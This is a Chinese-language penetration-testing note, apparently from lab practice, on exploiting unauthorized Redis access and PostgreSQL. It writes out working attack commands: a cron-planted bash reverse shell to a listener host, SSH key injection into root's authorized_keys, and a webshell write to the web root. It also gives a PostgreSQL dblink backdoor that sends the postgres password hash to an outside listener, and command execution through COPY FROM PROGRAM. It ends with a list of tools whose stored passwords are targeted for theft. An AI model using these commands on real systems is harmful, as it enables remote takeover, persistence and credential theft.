redies的未授权访问漏洞
影响版本:
redis 2.x,3.x,4.x,5.x
无密码登录或获取到了密码,且开了远程登录服务
共有三种利用方式
环境:centos的redis-3.2.11
redis-server redis.conf #启动redies
redis-cli -h 192.168.85.143 #登录redis
set x "\n* * * * * bash -i >& /dev/tcp/192.168.85.129/4455 0>&1\n"
config set dir /var/spool/cron/crontabs
config set dbfilename root
save
kali监听:
nc -lvnp 4455
成功获取会话:
环境:centos的redis-3.2.11
mkdir /root/.ssh #创建密钥存放位置
生成公钥和私钥,把密码设置为空
ssh-keygen -t rsa
把公钥写入1.txt,并利用redis上传到centos靶机中
(echo -e"\n";cat id_rsa.pub;echo -e "\n")>1.txt
cat 1.txt|redis-cli -h 192.168.85.143 -x set crack
登录redis,把目录设置一下
redis-cli -h 192.168.85.143
config set dir /root/.ssh
config set dbfilename authorized_keys
save
ssh使用私钥登录:
ssh -i id_rsa root@192.168.85.143
成功免密登录:
环境:kali的redis-3.2.0
redis-server /etc/redis.conf #启动redies
redis-cli -h 127.0.0.1 #登录redis
config set dir /var/www/html #设置WEB写入目录
config set dbfilename test.php #设置写入文件名
set test "" #设置写入文件代码
bgsave #保存执行
save #保存执行
#在外面执行
systemctl restart apache2 #开启web服务器
环境:vulhub
1.普通用户植入后门
#登录数据库
psql --host 192.168.85.128 --username vulhub
vulhub
创建后门
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$select dblink_connect((select 'hostaddr=192.168.85.128 port=5433 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
管理员操作数据库时触发:
docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub
监听端口:
nc -lvnp 5433
环境:vulhub
高权限用户,数据库管理员
连接数据库
#登录数据库
psql --host 192.168.85.128 --username postgres
postgres
执行命令
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
远控类:Teamviewer 向日葵 Todesk VNC Radmin 等
密码类:各大浏览器 Xshell Navicat rdp 等
服务类:FileZilla Serv-u Zend等
通过cs插件来获取相关的信息(密码)
teamview
权限需要高一些,如果是iis的低权限用户,会获取不到
navicat:
向日葵
运行脚本进行解密
参考文章:
Redis未授权访问漏洞Getshell - FreeBuf网络安全行业门户
Redis未授权访问漏洞复现 - FreeBuf网络安全行业门户